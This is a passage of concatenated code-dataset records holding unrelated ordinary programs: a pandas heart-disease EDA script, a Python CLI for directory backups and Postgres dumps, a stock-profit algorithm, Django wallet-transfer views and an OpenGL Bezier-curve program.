db_dataclass(**self.__get_tables_with_column())\n","repo_name":"QuoNaro/kgtt-bot","sub_path":"src/kgtt_bot/vk/infoclass.py","file_name":"infoclass.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73884823148","text":"#https://www.kaggle.com/fabijanbajo/heart-disease-prediction\r\n\r\n#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n# In[1]:\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nplt.style.use('ggplot')\r\n#get_ipython().run_line_magic('matplotlib', 'inline')\r\n\r\n\r\n# In[2]:\r\n\r\n\r\n#import dataset while naming columns\r\ncols = ['age','sex','cp','trestbps','chol','fbs','restecg','thalach','exang','oldpeak','slope','ca','thal','num']\r\nurl=\"C:/Users/venkat/Desktop/ufa/coursework/sem-2/Dr Beth/knn_clustering/HeartDisease_Cleaveland - Copy.csv\"\r\ndf = pd.read_csv(url, index_col=False, names=cols, header=None)\r\n\r\n\r\n# In[3]:\r\n\r\n\r\ndf.head()\r\n\r\n\r\n# In[4]:\r\n\r\n\r\ndf.describe()\r\n\r\n\r\n# In[5]:\r\n\r\n\r\ndf.info()\r\n\r\n\r\n# In[7]:\r\n\r\n\r\n#investigate object datatypes\r\nprint(df['ca'].unique())\r\nprint(df['thal'].unique())\r\n\r\n\r\n# In[9]:\r\n\r\n\r\n#replace '?' with 'np.nan' for now to avoid errors in eda\r\n#cast dtypes as float\r\ndef clean(x):\r\n if x.strip() == '?':\r\n return np.nan\r\n else:\r\n return x\r\n\r\ndf['ca'] = df['ca'].apply(clean).astype('float64')\r\ndf['thal'] = df['thal'].apply(clean).astype('float64')\r\nprint(df['ca'].unique())\r\nprint(df['thal'].unique())\r\n\r\n\r\n# In[10]:\r\n\r\n\r\ndf.info()\r\n\r\n\r\n# In[12]:\r\n\r\n\r\ndf.dropna(inplace=True)\r\nprint(df.shape)\r\n\r\n\r\n# In[14]:\r\n\r\n\r\nfor col in df.columns.tolist():\r\n print(col, len(df[col].unique()))\r\n\r\n\r\n# In[17]:\r\n\r\n\r\n#separate categorical variables from continuous\r\ncat_var = [col for col in df.columns.tolist() if len(df[col].unique()) <=5]\r\nprint(len(cat_var))\r\ncont_var = [col for col in df.columns.tolist() if len(df[col].unique()) > 5]\r\nprint(len(cont_var))\r\n\r\n\r\n# In[18]:\r\n\r\n\r\n#explore distributions of continuous variables\r\nfig, axes = plt.subplots(3,2, figsize=(12,10))\r\nfor i, ax in enumerate(axes.flatten()):\r\n column_name = cont_var[i]\r\n ax.hist(df[column_name])\r\n ax.set_title(column_name)\r\n\r\nplt.tightlayout()\r\n\r\n\r\n# In[19]:\r\n\r\n\r\nfig, axes = plt.subplots(2, 5, figsize=(12,10))\r\nfor i, ax in enumerate(axes.flatten()):\r\n column_name = cat_var[i]\r\n ax.hist(df[column_name])\r\n ax.set_title(column_name)\r\n\r\nplt.tightlayout()\r\n\r\n\r\n# In[20]:\r\n\r\n\r\n#closer look at predictor column for class imbalance\r\nfloat(df[df['num'] > 0].shape[0]) / df['num'].shape[0]\r\n\r\n\r\n# In[21]:\r\n\r\n\r\ndf.head()\r\n\r\n\r\n# In[22]:\r\n\r\n\r\nfig, (ax1, ax2) = plt.subplots(1,2, figsize=(8, 4))\r\nax1.hist(df['num'])\r\nax1.set_title('Predictor Column')\r\n\r\n#change predictor ('num') col to boolean\r\ndf['num'] = df['num'] > 0\r\ndf['num'] = df['num'].map({False: 0, True: 1})\r\n\r\nax2.hist(df['num'])\r\nax2.set_title('Predictor Column Cleaned')\r\nplt.xticks([0,1], ['No Heart Disease', 'Heart Disease'])\r\nplt.tight_layout()\r\nplt.savefig('predictor_column.png')\r\n\r\n\r\n# In[23]:\r\n\r\n\r\n#covariance matrix for looking into dimensionality reduction\r\nfrom sklearn.preprocessing import scale\r\ncdf = df.copy()\r\ncdf.pop('num')\r\ncdf = pd.DataFrame(scale(cdf.values), columns=cdf.columns.tolist())\r\ncdf.cov()\r\n\r\n\r\n# In[25]:\r\n\r\n\r\n#identify higher correlation values\r\nfor col in cdf.columns.tolist():\r\n mask = cdf.cov()[col].argsort()\r\n print(col, cdf.cov()[col][mask][-2])\r\nmask = cdf.cov() > 0.3\r\nmask\r\n\r\n\r\n# In[26]:\r\n\r\n\r\ndf.corr()\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n\r\n\r\n","repo_name":"gigya74/python","sub_path":"eda.py","file_name":"eda.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70752401386","text":"import click\nimport datetime\nimport pathlib\nimport pydoni\nimport shutil\nimport subprocess\nimport termtables as tt\nimport time\nfrom .common import Verbose\nfrom os import makedirs, stat, mkdir, rmdir\nfrom os.path import basename, dirname, isfile, isdir, getmtime, join, getctime, expanduser\nfrom send2trash import send2trash\n\n\n@click.option('--table-schema', type=str, default='pydonicli',\n help='Postgres directory backup table schema name.')\n@click.option('--table-name', type=str, default='directory_backup',\n help='Postgres directory backup table name.')\n@click.option('--source', type=str,\n help='Source directory path.')\n@click.option('--source-size-bytes', type=int, default=None,\n help='Size of source directory in bytes.')\n@click.option('--target', type=str,\n help='Target directory path.')\n@click.option('--target-size-before-bytes', default=None, type=int,\n help='Size of target directory before backup in bytes.')\n@click.option('--target-size-after-bytes', default=None, type=int,\n help='Size of target directory after backup in bytes.')\n@click.option('--start-ts', type=float, default=None,\n help='UNIX timestamp of backup start time (output of `time.time()`).')\n@click.option('--end-ts', type=float, default=None,\n help='UNIX timestamp of backup end time (output of `time.time()`).')\n@click.option('--is-completed', type=bool, default=True,\n help='Boolean flag to indicate whether backup was completed successfully.')\n@click.option('-v', '--verbose', is_flag=True, default=False,\n help='Print program messages to console.')\n@click.command()\ndef append_backup_log_table(table_schema,\n table_name,\n source,\n source_size_bytes,\n target,\n target_size_before_bytes,\n target_size_after_bytes,\n start_ts,\n end_ts,\n is_completed,\n verbose):\n \"\"\"\n Append a record to directory backup Postgres table. To be used if a backup is carried\n out without the use of the `pydoni data backup` command which handles the table insert\n automatically, but when the backup would still like to be logged in the log table.\n \"\"\"\n args, result = pydoni.__pydonicli_declare_args__(locals()), dict()\n\n vb = Verbose(verbose)\n pg = pydoni.Postgres()\n\n sql_value_dct = dict(source=source,\n source_size_bytes=source_size_bytes,\n target=target,\n target_size_before_bytes=target_size_before_bytes,\n target_size_after_bytes=target_size_after_bytes,\n start_ts=datetime.datetime.fromtimestamp(start_ts),\n end_ts=datetime.datetime.fromtimestamp(end_ts),\n is_completed=is_completed)\n\n vb.info(f'table_schema: {table_schema}')\n vb.info(f'table_name: {table_name}')\n for k, v in sql_value_dct.items():\n vb.info(f'{k}: {v}')\n\n insert_sql = pg.build_insert(schema_name=table_schema,\n table_name=table_name,\n columns=[k for k, v in sql_value_dct.items()],\n values=[v for k, v in sql_value_dct.items()])\n\n pg.execute(insert_sql)\n\n vb.info(f'Appended record to {table_schema}.{table_name}')\n result['sql_value_dct'] = sql_value_dct\n\n vb.program_complete('Append to backup log table complete')\n\n pydoni.__pydonicli_register__(dict(args=args, result=result, command_name='data.append_backup_log_table'))\n\n\ndef is_file_changed(sourcefile, targetfile):\n \"\"\"\n Detect whether a target file has been changed from its corresponding source file\n by determining whether the source and target file change datetimes are different\n by more than a threshold value (i.e. 1%).\n \"\"\"\n def pct_change(num1, num2):\n \"\"\"\n Return the pecentage change from `num1` -> `num2` on a scale from 0-100.\n \"\"\"\n return abs(100.0 * (num2*1.0 - num1*1.0) / num1*1.0)\n\n mtime_source = getmtime(sourcefile)\n mtime_target = getmtime(targetfile)\n\n return pct_change(mtime_source, mtime_target) > 1.0\n\n@click.option('--source', type=click.Path(exists=True), required=True,\n help='Absolute path to source directory.')\n@click.option('--target', type=click.Path(exists=True), required=True,\n help='Absolute path to target directory.')\n@click.option('--update-log-table', is_flag=True, default=False,\n help='Add an entry to Postgres table pydonicli.directory_backup')\n@click.option('--use-rsync', is_flag=True, default=False,\n help='Use the `rsync` executable instead of python to back up source to target.')\n@click.option('-v', '--verbose', is_flag=True, default=False,\n help='Print messages to console.')\n@click.option('--debug', is_flag=True, default=False,\n help='Print debug messages to console.')\n@click.option('--dry-run', is_flag=True, default=False,\n help='Do not execute copy, replace or delete on any files.')\n@click.command()\ndef backup(source, target, update_log_table, use_rsync, verbose, debug, dry_run):\n \"\"\"\n Back up a source directory to a target directory.\n\n This function will accept a source and target directories, most often\n on separate external hard drives, and copy all files from the source\n to the target that are either:\n\n (1) Not in the target directory\n (2) Are in the target directory, but have been updated\n\n Files in the target that have been deleted in the source will also be deleted.\n \"\"\"\n args, result = pydoni.__pydonicli_declare_args__(locals()), dict()\n\n start_ts = time.time()\n vb = Verbose(verbose=verbose, debug=debug)\n ws = ' '\n\n ignore_files = [\n 'The Office S09E16 Moving On.mkv',\n 'The Office S09E20 Paper Airplanes.mkv',\n ]\n\n if update_log_table:\n start_ts_utc = datetime.datetime.utcnow()\n pg = pydoni.Postgres()\n directory_backup_table_schema = 'pydonicli'\n directory_backup_table_name = 'directory_backup'\n\n insert_dict = dict(source=source,\n source_size_bytes=stat(source).st_size,\n target=target,\n target_size_before_bytes=stat(target).st_size,\n target_size_after_bytes=None,\n start_ts=start_ts_utc,\n is_completed=False)\n\n insert_sql = pg.build_insert(schema_name=directory_backup_table_schema,\n table_name=directory_backup_table_name,\n columns=list(insert_dict.keys()),\n values=list(insert_dict.values()),\n validate=True)\n if not dry_run:\n pg.execute(insert_sql)\n\n directory_backup_id = pg.read_sql(f\"\"\"\n select directory_backup_id\n from {directory_backup_table_schema}.{directory_backup_table_name}\n order by gen_ts desc\n limit 1\"\"\").squeeze()\n\n\n assert source != target, 'Source and target directories must be different'\n\n if use_rsync:\n cmd_lst = ['rsync', '--delete-before', '-a', '-h', '-u']\n if verbose:\n cmd_lst = cmd_lst + ['-v', '--progress']\n\n cmd_lst = cmd_lst + [f'\"{source}\"'] + [f'\"{target}\"']\n cmd = ' '.join(cmd_lst)\n\n subprocess.call(cmd, shell=True)\n\n # progress_flag = ' --progress' if verbose else ''\n # backup_cmd = f'rsync -avhu{progress_flag} --delete-before \"{source}\" \"{target}\"'\n # subprocess.call(backup_cmd, shell=True)\n\n else:\n vb.info(f'Listing files at source: {source}')\n files_source = pydoni.listfiles(path=source, recursive=True, full_names=True)\n vb.debug('Found files at source: ' + str(len(files_source)))\n files_source = [x for x in files_source if x not in ignore_files]\n vb.debug(f'Found files at source after filtering out manually ignored files: {len(files_source)}')\n\n vb.info(f'Listing files at target: {target}')\n files_target = pydoni.listfiles(path=target, recursive=True, full_names=True)\n vb.debug('Found files at target: ' + str(len(files_target)))\n files_target = [x for x in files_target if x not in ignore_files]\n vb.debug(f'Found files at target after filtering out manually ignored files: {len(files_target)}')\n\n # Scan source files and for each determine whether to do nothing, copy to target,\n # or replace at target\n copied_files = []\n replaced_files = []\n vb.info('Scanning for new, updated or deleted files at source')\n vb.pbar_init(total=len(files_source), unit='file')\n\n for sourcefile in files_source:\n vb.pbar_write(f'Sourcefile: {sourcefile}', refer_debug=True)\n vb.pbar.set_postfix({'file': basename(sourcefile)})\n\n targetfile = sourcefile.replace(source, target)\n vb.pbar_write(f'{ws}Expected mirrored targetfile: {targetfile}', refer_debug=True)\n\n if not isfile(targetfile):\n # Copy file to target. Create parent directory at target if not exists\n vb.pbar_write(f'{ws}(Copy) attempting to copy file \"{sourcefile}\" to \"{targetfile}\"', refer_debug=True)\n\n targetdpath = dirname(targetfile)\n if not isdir(targetdpath):\n vb.pbar_write(f'{ws}{ws}Parent directory of targetfile does not exist, creating it at: ' + targetdpath, refer_debug=True)\n if not dry_run:\n makedirs(targetdpath)\n\n vb.pbar_write(f'{ws}{ws}Successful', refer_debug=True)\n\n if not dry_run:\n shutil.copy2(sourcefile, targetfile)\n\n vb.pbar_write(f'{ws}Successful', refer_debug=True)\n copied_files.append(sourcefile)\n\n elif isfile(targetfile) and is_file_changed(sourcefile, targetfile):\n # Replace file at target (same action as copy, but parent directory must exist)\n vb.pbar_write(f'(Replace) attempting to copy file \"{sourcefile}\" to \"{targetfile}\"', refer_debug=True)\n if not dry_run:\n shutil.copy2(sourcefile, targetfile)\n\n vb.pbar_write(f'Successful', refer_debug=True)\n replaced_files.append(sourcefile)\n\n else:\n vb.pbar_write(f'{ws}Targetfile already exists and is unchanged', refer_debug=True)\n\n vb.pbar_update(1)\n\n vb.pbar_close()\n\n # Scam target files and for each determine whether that file has been since\n # deleted from source\n deleted_files = []\n vb.info('Scanning for files at target since deleted from source')\n vb.pbar_init(total=len(files_target))\n for targetfile in files_target:\n sourcefile = targetfile.replace(target, source)\n vb.pbar.set_postfix({'file': basename(targetfile)})\n\n if not isfile(sourcefile) and not isdir(sourcefile):\n vb.pbar_write(f'(Delete) attempting to delete \"{targetfile}\"', refer_debug=True)\n if not dry_run:\n send2trash(targetfile)\n\n vb.pbar_write(f'{ws}Successful', refer_debug=True)\n deleted_files.append(targetfile)\n\n vb.pbar_update(1)\n\n vb.pbar_close()\n\n # Record number of files copied, replaced and deleted\n vb.info(f'Copied {len(copied_files)} files')\n vb.info(f'Replaced {len(replaced_files)} files')\n vb.info(f'Deleted {len(deleted_files)} files')\n vb.info(f'Unchanged {len(files_source) - len(copied_files) - len(replaced_files) - len(deleted_files)} files')\n result = dict(copied=len(copied_files),\n replaced=len(replaced_files),\n deleted=len(deleted_files),\n unchanged=len(files_source) - len(copied_files) - len(replaced_files) - len(deleted_files))\n\n if update_log_table:\n vb.debug('Attempting to update log table with results...')\n\n update_dict = dict(target_size_after_bytes=pydoni.dirsize(target),\n end_ts=datetime.datetime.utcnow(),\n is_completed=True)\n\n update_sql = pg.build_update(schema_name=directory_backup_table_schema,\n table_name=directory_backup_table_name,\n pkey_name='directory_backup_id',\n pkey_value=directory_backup_id,\n columns=list(update_dict.keys()),\n values=list(update_dict.values()),\n validate=True)\n\n if not dry_run:\n pg.execute(update_sql)\n\n vb.debug(f'{ws}Successful')\n\n vb.program_complete('Backup complete', start_ts=start_ts)\n pydoni.__pydonicli_register__(dict(args=args, result=result, command_name='data.backup'))\n\n\n@click.option('--backup-dir', type=click.Path(exists=True), required=True,\n help='Path to directory to save database dump to.')\n@click.option('--db-name', type=str, default=None,\n help='Name of local Postgres database to dump.')\n@click.option('--pg-user', type=str, default=None,\n help='Username for Postgres.')\n@click.option('--sep', type=str, default='\\x08',\n help='Separator for local CSV dump. Requires that `csvdump` is True.')\n@click.option('--pgdump', is_flag=True, default=True,\n help='Dump database using `pgdump` utility.')\n@click.option('--csvdump', is_flag=True, default=False,\n help='Dump database as CSV files.')\n@click.option('--max-dir-size', type=float, default=None, required=False,\n help=pydoni.advanced_strip(\"\"\"Maximum backup directory size in GB. If\n specified, after the dump is complete, check if the total directory\n size of `backup_dir` is above this limit. If so, begin by removing the\n oldest backups and re-checking until the size is under the specified\n GB limit.\"\"\"))\n@click.option('--dry-run', is_flag=True, default=False,\n help='Do not execute dump but still run through program.')\n@click.option('-v', '--verbose', is_flag=True, default=False,\n help='Print messages to console.')\n@click.command()\ndef pg_dump(backup_dir,\n db_name,\n pg_user,\n sep,\n pgdump,\n csvdump,\n max_dir_size,\n dry_run,\n verbose):\n \"\"\"\n Dump a local Postgres database. Looks for ~/.pgpass by default.\n \"\"\"\n args, result = pydoni.__pydonicli_declare_args__(locals()), dict()\n\n vb = Verbose(verbose)\n\n if dry_run:\n vb.info('Not executing any code (dry run)')\n\n if pg_user is not None and db_name is not None:\n pg = pydoni.Postgres(pg_user=pg_user, db_name=db_name)\n else:\n # Attempt to parse ~/.pgpass file. Fail if this file does not exist or is not\n # able to be parsed\n pg = pydoni.Postgres()\n\n # Define subfolder to dump files to within dump directory\n subdir = pydoni.systime(compact=True) + '_' + pg.db_name\n backup_subdir = join(expanduser(backup_dir), subdir)\n mkdir(backup_subdir)\n\n vb.info('Database: ' + pg.db_name)\n vb.info('Destination folder: ' + backup_subdir)\n\n # Dump database based on user's preference\n # May dump using pg_dump, export tables to CSV, or both\n\n dumped_files = []\n\n if pgdump:\n vb.info('Executing `pg_dump`')\n if not dry_run:\n dumped_dbfile = pg.dump(backup_dir=backup_subdir)\n dumped_files += [dumped_dbfile]\n\n if csvdump:\n # Dump each file to textfile\n vb.info('Executing CSV dump to tables')\n if not dry_run:\n dumped_csvfiles = pg.dump_tables(backup_dir=backup_subdir, sep=sep, coerce_csv=False)\n dumped_files += dumped_csvfiles\n\n result['backup_directory'] = backup_subdir\n result['dumped_files'] = {}\n for f in dumped_files:\n result['dumped_files'][basename(f)] = dict(\n filesize=stat(f).st_size,\n filesize_readable=pydoni.human_filesize(stat(f).st_size),\n created=datetime.datetime.fromtimestamp(getctime(f)).strftime('%Y-%m-%d %H:%M:%S.%f'),\n rows=pydoni.textfile_len(f))\n\n if verbose:\n vb.line_break()\n tt_list = [[basename(file),\n infodict['created'],\n pydoni.human_filesize(infodict['filesize']),\n str(infodict['rows'])\n ] for file, infodict in result['dumped_files'].items()]\n\n if len(tt_list):\n if verbose:\n print(tt.to_string(\n tt_list,\n header=[click.style(x, bold=True) for x in ['File', 'Created', 'Size', 'Rows']],\n style=tt.styles.ascii_thin_double,\n padding=(0, 1),\n alignment='ccrr'))\n else:\n vb.warn('No database files were dumped!')\n\n if dry_run:\n rmdir(backup_subdir)\n\n max_dir_size_enforced = False\n removed_old_backup_dirs = []\n if max_dir_size:\n # Check size of `backup_dir` and clear any backup directories until the total size\n # is less than max_dir_size (upper GB limit)\n subdirs = sorted([x for x in pathlib.Path(backup_dir).iterdir() if isdir(x)], key=getmtime)\n subdirs_size = zip(subdirs, [pydoni.dirsize(x) / 1e9 for x in subdirs])\n total_size = sum([y for x, y in subdirs_size])\n\n if total_size > max_dir_size:\n vb.warn(f'Enforcing maximum directory size: {str(max_dir_size)} GB')\n max_dir_size_enforced = True\n\n while total_size > max_dir_size:\n dir_to_remove = str(subdirs[0])\n shutil.rmtree(dir_to_remove)\n removed_old_backup_dirs.append(dir_to_remove)\n\n subdirs = sorted([x for x in pathlib.Path(backup_dir).iterdir() if isdir(x)], key=getmtime)\n\n subdirs_size = zip(subdirs, [pydoni.dirsize(x) / 1e9 for x in subdirs])\n total_size = sum([y for x, y in subdirs_size])\n\n vb.warn(f'Removed \"{basename(dir_to_remove)}\"')\n\n vb.program_complete('Postgres dump complete')\n\n result['max_dir_size_enforced'] = max_dir_size_enforced\n result['removed_old_backup_dirs'] = [basename(x) for x in removed_old_backup_dirs]\n\n pydoni.__pydonicli_register__(dict(args=args, result=result, command_name='data.pg_dump'))\n\n\n@click.group(name='data')\ndef cli_data():\n \"\"\"Doni data-based CLI tools.\"\"\"\n pass\n\n\ncli_data.add_command(backup)\ncli_data.add_command(pg_dump)\ncli_data.add_command(append_backup_log_table)\n","repo_name":"tsouchlarakis/pydoni","sub_path":"pydoni/cli/commands/cli_data.py","file_name":"cli_data.py","file_ext":"py","file_size_in_byte":19153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3774412609","text":"\"\"\"\nIn stock market , a person buys a stock and sells it on some future date. Given the stock prices of N days in an form\nof an array A[ ] and a positive integer K, find out the maximum profit a person can make in atmost K transactions.\nA transaction is equivalent to (buying + selling) of a stock and new transaction can start only when the previous\ntransaction has been completed.\n\nInput:\nThe first line of input contains an integer T denoting the number of test cases. Then T test cases follow. The first\nline of each test case contains a positve integer K, denoting the number of transactions.The second line of each test\ncase contains a positve integer N, denoting the length of the array A[ ].The third line of each test case contains a N\nspace separated positive integers, denoting the prices of each day in the array A[ ].\n\nOutput:\nPrint out the maximum profit earned by the person.No profit will be equivalent to 0.\n\nConstraints:\n1 <= T <= 100\n0 < K <= 200\n2 <= N <=500\n0 <= A[ ] <= 1000\n\nExamples:\nInput:\n3\n2\n6\n10 22 5 75 65 80\n3\n4\n20 580 420 900\n1\n5\n100 90 80 50 25\nOutput:\n87\n1040\n0\n\nExplanation:\nOutput 1: Trader earns 87 as sum of 12 and 75 i.e. Buy at price 10, sell at 22, buy at 5 and sell at 80\nOutput 2: Trader earns 1040 as sum of 560 and 480 i.e. Buy at price 20, sell at 580, buy at 420 and sell at 900\nOutput 3: Trader cannot make any profit as selling price is decreasing day by day.Hence, it is not possible to earn\nanything.\n\"\"\"\nimport sys\ntCases = int(input())\nfor _ in range(tCases):\n k = int(input())\n n = int(input())\n price = list(map(int, input().split()))\n buy = [-sys.maxsize for i in range(k)]\n sell = [0 for x in range(k)]\n for i in range(n):\n buy[0] = max(buy[0], -price[i])\n sell[0] = max(sell[0], buy[0]+price[i])\n for j in range(1, k):\n buy[j] = max(buy[j], sell[j-1]-price[i])\n sell[j] = max(sell[j], buy[j]+price[i])\n print(sell[k-1])","repo_name":"amit-kr-debug/CP","sub_path":"Geeks for geeks/array/Maximum profit by buying and selling a share at most k times.py","file_name":"Maximum profit by buying and selling a share at most k times.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"26399682341","text":"import json\n\nfrom django.http.response import HttpResponse\nfrom rest_framework import permissions, status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom credits.models.credits import Invitation, Transfer, Wallet \nfrom credits.serializers.credits import InvitationSerializer, InvitationSerializerCreate, \\\n TransferSerializer, TransferSerializerCreate, WalletSerializer\n\n\n\nclass InvitationsView(APIView):\n permission_classes = (permissions.IsAuthenticated,)\n\n # Remaining\n # invitation_filter\n # filter_query_params\n \n \n def get(self, request):\n obj = Invitation.objects.all()\n serializers = InvitationSerializer(obj, many=True)\n data = serializers.data\n return Response({\"DATA\" : data}, status=status.HTTP_201_CREATED)\n \n\n def post(self, request):\n serializer = InvitationSerializerCreate(data=request.data, context={\"request\": request})\n if serializer.is_valid():\n serializer.save()\n data=serializer.data\n return Response({\"DATA\" : data}, status=status.HTTP_201_CREATED)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n\nclass TransferView(APIView):\n permission_classes = (permissions.IsAuthenticated,)\n \n \n def get(self, request):\n obj = Transfer.objects.all()\n serializers = TransferSerializer(obj, many=True)\n data = serializers.data\n return Response({\"DATA\" : data}, status=status.HTTP_201_CREATED)\n \n \n \n \n def post(self, request):\n sender = self.request.user\n amount = self.request.data.get('amount')\n receiver = self.request.data.get('receiver')\n \n sender_obj, created = Wallet.objects.get_or_create(user__username=sender)\n receiver_obj, created = Wallet.objects.get_or_create(user_id=receiver)\n \n if sender_obj.balance <= 0: \n return Response(\"Amount must be greater than zero\", status=status.HTTP_400_BAD_REQUEST)\n \n elif sender_obj.balance < int(amount): \n return Response(\"Insuffient Sender Wallet Balance\", status=status.HTTP_400_BAD_REQUEST)\n \n \n else:\n sender_obj.balance -= int(amount)\n receiver_obj.balance += int(amount)\n sender_obj.save()\n receiver_obj.save()\n\n serializer = TransferSerializerCreate(data=request.data, context={\"request\" : request})\n if serializer.is_valid():\n serializer.save()\n data = serializer.data\n return Response({\"DATA\" : data}, status=status.HTTP_201_CREATED)\n else:\n return Response({\"ERRORS\" : serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass WalletView(APIView):\n \n def get(self, request, id):\n print(id, 'id')\n wallet_obj = Wallet.objects.filter(user__id=id)\n if wallet_obj.exists():\n serializer = WalletSerializer(wallet_obj, many=True)\n return Response({\"WALLET INFO\" : serializer.data}, status=status.HTTP_201_CREATED)\n else:\n return Response({\"ERRORS\" : \"USER WALLET DOESNT EXIST\"})\n ","repo_name":"Shubham-7777/Social-Media-Project","sub_path":"core/credits/views/credits.py","file_name":"credits.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20001735390","text":"'''\r\nUniversidade Federal de Pernambuco - Campus Recife\r\nAluna: Paula Crislaine de Oliveira Souza Vaz\r\nLogin: pcosv\r\nMatricula: 098.868.804-22\r\nProfessor: Silvio Melo\r\nProjeto I - Processamento Grafico\r\n'''\r\n\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\nfrom ponto import Ponto\r\nimport bezier\r\nimport sys\r\n\r\nindice = 0\r\npontos = []\r\ntamanho_ponto = 6.0\r\n\r\n\r\n# lendo valores informados pelo usuario no arquivo de entrada\r\nwith open('entrada','r') as input:\r\n arquivo = input.readlines()\r\n grau = int(arquivo[1])\r\n fator = int(arquivo[3])\r\n tam_quad = float(arquivo[5])\r\n\r\n# tratando o caso do usuario entrar com um valor muito grande para o quadrado\r\nif tam_quad > 600:\r\n tam_quad = 600\r\n\r\n# definindo tamanho da tela\r\nwindow_h = 700\r\nwindow_w = 700\r\n\r\n# calculando a quantidade de pontos de controle da curva de bezier\r\nqtd_pontos = grau + 1\r\n\r\n# vértices do quadrado\r\nponto_a = Ponto(50.0, 50.0)\r\nponto_b = Ponto(ponto_a.coord_x + tam_quad, ponto_a.coord_y)\r\nponto_c = Ponto(ponto_a.coord_x + tam_quad, ponto_b.coord_y + tam_quad)\r\nponto_d = Ponto(ponto_a.coord_x, ponto_b.coord_y + tam_quad)\r\nquadrado = [ponto_a, ponto_b, ponto_c, ponto_d]\r\n\r\nlimite = [ponto_a.coord_y, ponto_b.coord_y + tam_quad]\r\n\r\n# esta funcao eh responsavel por calcular as coordenadas dos pontos de controle em funcao dos vertices do quadrado\r\ndef preencher_pontos():\r\n global pontos\r\n\r\n pontos = [Ponto(float(\"{0:.4f}\".format((ponto_d.coord_x))),float(\"{0:.4f}\".format((ponto_d.coord_y + (ponto_a.coord_y - ponto_d.coord_y)/2))))]\r\n i = 1\r\n while i < qtd_pontos:\r\n pontos.append(Ponto(float(\"{0:.4f}\".format((pontos[i-1].coord_x + (ponto_c.coord_x - ponto_d.coord_x)/grau))), float(\"{0:.4f}\".format((ponto_d.coord_y + (ponto_a.coord_y - ponto_d.coord_y)/2)))))\r\n i = i + 1\r\n\r\n return pontos\r\n\r\n# funcao responsavel por redesenhar a janela sempre que necessario\r\ndef desenha():\r\n global globVector\r\n\r\n glClear(GL_COLOR_BUFFER_BIT)\r\n\r\n # desenho do quadrado\r\n glBegin(GL_QUADS)\r\n glColor3f(0.75, 0.75, 0.75)\r\n for ponto in quadrado:\r\n glVertex2f(ponto.coord_x, ponto.coord_y)\r\n glEnd()\r\n\r\n # desenho dos pontos de controle da curva\r\n if pontos.__len__() > 0:\r\n glPointSize(12.0)\r\n glBegin(GL_POINTS)\r\n glColor3f(1.0, 0.0, 0.0)\r\n for ponto in pontos:\r\n glVertex2f(ponto.coord_x, ponto.coord_y)\r\n glEnd()\r\n\r\n # desenho das linhas entre os pontos de controle\r\n if pontos.__len__() > 1:\r\n glBegin(GL_LINE_STRIP)\r\n glColor3f(0.0, 1.0, 1.0)\r\n for ponto in pontos:\r\n glVertex2f(ponto.coord_x, ponto.coord_y)\r\n glEnd()\r\n\r\n # desenho da curva de bezier (linhas conectando os pontos computados pelo De Casteljau\r\n glBegin(GL_LINE_STRIP)\r\n glColor3f(1.0, 1.0, 1.0)\r\n globVector = bezier.bezier(pontos, fator)\r\n glEnd()\r\n\r\n glPointSize(6.0)\r\n\r\n # desenho dos pontos\r\n glBegin(GL_POINTS)\r\n glColor3f(0.0, 1.0, 0.0)\r\n globVector.append(pontos[-1])\r\n for p in globVector:\r\n glVertex2d(p.coord_x, p.coord_y)\r\n glEnd()\r\n\r\n # pintura da area delimitada pela curva\r\n poligono = [ponto_b] + [ponto_a] + globVector\r\n glEnable(GL_BLEND)\r\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\r\n\r\n # pintura da area delimitada pela curva\r\n glBegin(GL_POLYGON)\r\n glColor4f(0.0,0.0,0.3,0.7)\r\n for p in poligono:\r\n glVertex2d(p.coord_x, p.coord_y)\r\n glEnd()\r\n\r\n else:\r\n aux = pontos[0]\r\n glVertex2d(aux.coord_x, aux.coord_y)\r\n\r\n glFlush()\r\n\r\n# funcao que controla botoes do teclado\r\ndef teclado(tecla):\r\n # ao clicar esc a janela eh fechada\r\n if (tecla == 27):\r\n sys.exit(0)\r\n glutPostRedisplay()\r\n\r\n# funcao que cuida das inicializacoes\r\ndef inicializa ():\r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n gluOrtho2D(0.0, window_w, window_h, 0.0)\r\n\r\n\r\n# funcao que cuida do tratamento de cliques no mouse\r\ndef gerencia_mouse(botao, estado, x, y):\r\n global indice\r\n vector_size = len(pontos)\r\n\r\n # Verifica se o ponto clicado é um ponto de controle\r\n for p in range(0, vector_size):\r\n if (x >= pontos[p].coord_x - tamanho_ponto/2) and (x <= pontos[p].coord_x + tamanho_ponto/2):\r\n if (y >= pontos[p].coord_y - tamanho_ponto / 2) and (y <= pontos[p].coord_y + tamanho_ponto / 2):\r\n indice = p\r\n # print (\"botao de controle\"), p\r\n break\r\n\r\n glutPostRedisplay()\r\n\r\n# funcao que controla o arraste dos pontos de controle confinados ao quadrado\r\ndef move_ponto(x, y):\r\n global indice\r\n\r\n if y < limite[1] and y > limite[0]:\r\n pontos[indice].coord_y = y\r\n else:\r\n pass\r\n\r\n glutPostRedisplay()\r\n\r\n# funcao que impede o redimensionamento da janela, evitando deformacoes no desenho\r\ndef altera_janela(largura, altura):\r\n glutReshapeWindow(window_w, window_h)\r\n\r\n# loop principal\r\nif __name__ == '__main__':\r\n 